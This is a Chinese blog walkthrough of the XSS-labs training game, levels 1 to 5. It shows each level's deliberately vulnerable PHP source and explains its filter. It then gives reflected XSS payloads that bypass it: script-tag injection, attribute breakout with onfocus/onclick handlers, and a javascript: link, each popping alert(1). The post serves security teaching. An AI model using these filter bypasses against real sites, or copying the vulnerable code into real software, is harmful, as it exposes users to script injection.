日志

XSS-labs Level 1-5

 来源    2020-05-23    1  

写在前面:

这个闯关游戏旨在理解XSS的原理并运用各种姿势绕过对于XSS攻击的过滤和限制。

这个练习只要弹出弹框即可过关 ,每一关我也会附上payload和源代码的解析

Level 1

观察源码

<?php 
ini_set("display_errors", 0);    //设置display_errors的值为false,即不提示错误信息。
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
<center><img src=level1.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>

ini_set函数 — 为一个配置选项设置值

ini_set ( string $varname , string $newvalue ) : string

设置指定配置选项的值。这个选项会在脚本运行时保持新的值,并在脚本结束时恢复。

其中varname的值是有规定的,详情参考PHP手册。

display_errors : 该选项设置是否将错误信息作为输出的一部分显示到屏幕,或者对用户隐藏而不显示。

这里没有任何限制 直接在url中输入payload :

<script>alert(1)</script>

 ok!

Level 2 

2个注入点:URL搜索框

首先在URL输入我们Level 1 中的payload 发现没有成功弹窗 页面变成了下面这样。

查看页面源代码:我们在URL输入的<>都被html实体化了,但是form中的并没有

 查看php源码确认一下 :URL中的参数被实体化了  但是表单里并没有

htmlspecialchars ():

htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。

预定义的字符有:& ,  " , <  ,  >

 那么尝试在搜索框写入payload,注意闭合input标签,成功!

"> <script>alert(1)</script>\\

">用来闭合input前面的<和value的前一个"  最后\\用来注释掉最后的"> (不注释也是可以的)

<input name=keyword  value=""> <script>alert(1)</script> //"> (加入payload后的源码)

Level 3 

观察源码 这关和Level 2 不同的是 form中也调用了htmlspecialchars() 函数,所以不能直接调用JavaScirpt脚本

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>    
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
<center><img src=level3.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>

可以采用input标签内的事件来进行绕过

一些常用事件如下:

    onfocus        当input 获取到焦点时触发
    onblur           当input失去焦点时触发,注意:这个事件触发的前提是已经获取了焦点再失去焦点的时候会触发相应的js
    onchange     当input失去焦点并且它的value值发生变化时触发
    onkeydown  在 input中有键按住的时候执行一些代码
    onkeyup       在input中有键抬起的时候触发的事件,在此事件触发之前一定触发了onkeydown事件
    onclick         主要是用于 input type=button,当被点击时触发此事件
    onselect       当input里的内容文本被选中后执行一段,只要选择了就会触发,不是非得全部选中
    oninput         当input的value值发生变化时就会触发,不用等到失去焦点(与onchange的区别)

payload:注意闭合input标签并触发事件即可,比如onfocus需要获取鼠标焦点,onclick需要点击搜索框。

//基于onfocus
' onfocus='window.alert(1) //这里加不加window.都可 
' onfocus='alert(1)
//基于onclick
' onclick='alert(1)
' onclick='window.alert(1)

Level 4

观察源码:这里依然是htmlspecialchars($str)函数对预定义的字符实体化

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level4.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>

注意源码中对于两个注入点的限制:

对于URL中,是会对 < > " 进行实体化转义

对于form表单中 并不会实体化输入的< > 而是因为str_replace函数将其换为空

str_replace函数实例:

<?php
echo str_replace("world","Shanghai","Hello world!");
?>
将hello world中的 world换为 shanghai

payload:还是利用input标签内的事件,注意此时的value那里需要 " 闭合 (payload可参考上面)

" onfocus="window.alert(1)"\\

Level 5

 观察源码:strtolower函数会把输入的字符串中字母全部变为小写 然后通过后面str_replace函数限制了

script标签和input标签内的事件(都需要on这两个字符)

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level5.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>

这里可以利用JavaScript的伪协议。

Q:什么是JavaScript伪协议?

A:不同于因特网上的HTTP 、SMTP 、FTP 等真实存在的协议,而是为关联应用程序而使用的.如:tencent://(关联QQ);

  而JavaScript的伪协议即可将javascript: 后的代码当作JS脚本执行并把结果返回当前页面。

示例:
<a href="javascript:alert(1)">click!</a>

所以本关利用JavaScript的伪协议构造payload,注意闭合input标签:

"> <a href="javascript:alert(1)">click!</a>\\

相关文章
c – 使用Fuse-Low Level API
问答我正在尝试使用Fuse低级API实现基本文件系统.用于基本读/写/ mknod操作. 如果任何人都可以指出一些例子,那么将不会感激,没有关于保险丝低级api的文档. 任何帮助都感激不尽!::Fuse实 ...
1
java – Xss为1个线程设置线程堆栈大小,所有线程堆栈大小的限制是什么
问答我知道如何使用-Xss为java线程设置堆栈大小,我们在产品中使用它. 但是当我们的应用程序中使用了大量线程时,并且设置了-Xss(我们将其设置为512k).我们将遇到错误报告无法创建新的本机线程. ...
这些javascript方法可以被认为是XSS安全吗?
问答我正在实现一个所谓的"单页面应用程序",它接受JSON作为输入.这也意味着所有HTML都在浏览器中呈现,所有模板(使用敲除)似乎都不受用户输入的影响,因为模板不是由后端动态构建的, ...
1
java – 线程局部区域(TLA)和线程堆栈大小(Xss)之间有什么区别?
问答正如我读到的: http://docs.oracle.com/cd/E13150_01/jrockit_jvm/jrockit/geninfo/diagnos/tune_app_thruput.htm ...
2
基于Flex / Flash的应用程序是否容易受到XSS攻击?这种攻击可能发生的各种方式有哪些?
问答基于Flex / Flash的应用程序是否容易受到XSS攻击,攻击可能发生的不同方式是什么以及如何防止/检测此类攻击.::是.他们可以.但它并不像HTML / JavaScript那么常见.这是一个很 ...
1
spring-mvc – 如何使用SpringMVC Jackson Application防止XSS攻击?
问答Cross Site Scripting Cheat Sheet有许多防范XSS攻击的规则.我想在我的网络应用程序中实现这些建议,该应用程序使用Spring MVC Jackson JPA Hiber ...
1
android – Kotlin扩展函数突然需要api level 24
问答我刚注意到这个lint错误: Call requires API Level 24 (current min is 19) java.util.map#foreach 当我在Kotlin的Mutabl ...
1
自动化测试 – 赛普拉斯与Sauce Labs
问答在Cypress docs他们说(根据"Sauce Labs"小节): Cypress's API is written to be completely compatible w ...
2
java – 将BrowserMob代理传递给Sauce Labs – “代理服务器拒绝连接”错误
问答我一直试图将BrowserMob代理传递给Sauce Labs,但没有运气. 这是我尝试过的: >启动代理服务器 sh browsermob-proxy -port 9090 >启动代理 ...
1
asp.net – 这个基于LINQ的搜索是否可以安全地防止SQL注入/ XSS攻击?
问答请参考以下数据库搜索教程,并建议搜索方法是否安全,特别是因为它从文本框中获取输入. http://net.tutsplus.com/tutorials/asp-net/enabling-search- ...
1
在Java Web应用程序中防止SQL注入攻击和XSS的方法
问答我正在编写一个java类,它将由servlet过滤器调用,并且基于Struts检查针对Java Web应用程序的注入攻击尝试和XSS. InjectionAttackChecker类使用正则表达式和j ...
安全性 – XSS攻击是否可以获取HttpOnly Cookie?
问答阅读this blog post about HttpOnly cookies让我开始思考,是否可以通过任何形式的XSS获得一个HttpOnly cookie?杰夫提到它"大大提高了酒吧&q ...
1
yii质量模型属性赋值和xss安全性问题
问答$model->attributes = $_GET[ 'Submission' ]; 这对我来说看起来非常可怕,但这就是yii如何为模型分配属性.这是XSS的安全风险吗?首先不应该以某种方式消 ...
1
php – CSRF令牌和XSS漏洞
问答假设我们在表单中使用了CSRF令牌,但是我们的网站上有一个未被注意的XSS漏洞. 根据我的理解,在这种情况下,CSRF令牌保护完全无效,因为攻击者可以通过XSS使用XMLHttpRequest来检索它 ...
1
php – htmlspecialchars vs htmlentities时关注XSS
问答我看到很多相互矛盾的答案.许多人都喜欢引用PHP功能单独不会保护你从xss. 什么XSS可以使它通过htmlspecialchars和什么可以使它通过htmlentities? 我理解的功能之间的区别 ...
1
php – 如何以及在哪里可以在Laravel中应用XSS保护?
问答我想知道Laravel提供的XSS保护(如果无论如何).我在文档中找不到任何相关内容. 问题 我使用Eloquent's create()方法将数据插入数据库($fillable / $guarded ...
XSS预防,整洁与净化器?
问答问候, 我正在尝试使用CKEditor(一个javascript WYSIWYG编辑器)阻止来自输入字段的XSS和不正确的html. 我该如何在服务器端过滤这些数据?我正在比较的两个选项是PHP Ti ...
apache-kafka – Kafka High Level Vs低级消费者
问答我有关于主题和分区的以下问题 1)具有m分区和nm主题的n主题有什么区别? 使用n * m个不同的进程通过m个线程和nm主题访问m分区时会有区别吗? 2)一个完美的用例区分高级别和低级别的消费者 3) ...
1
ruby-on-rails – 使用Rails 3(XSS vs iframes)将您网站的功能嵌入到其他软件中
问答我们希望将一些模型的显示以及支付流程与我们客户的一些网站进行整合.似乎每个人都在使用Iframe路线,但与XSS技术相比,这看起来也相当过时. 如何在rails 3中使用XSS来启用另一个站点中我们站 ...
1
javascript – 对XSS的共同防御是什么?
问答换句话说,现在最常用的消毒输入和/或输出技术是什么?工业(甚至是个人使用)网站的人们用什么来对付这个问题?::你应该参考优秀的OWASP website的攻击总结(including XSS)和对他们 ...
1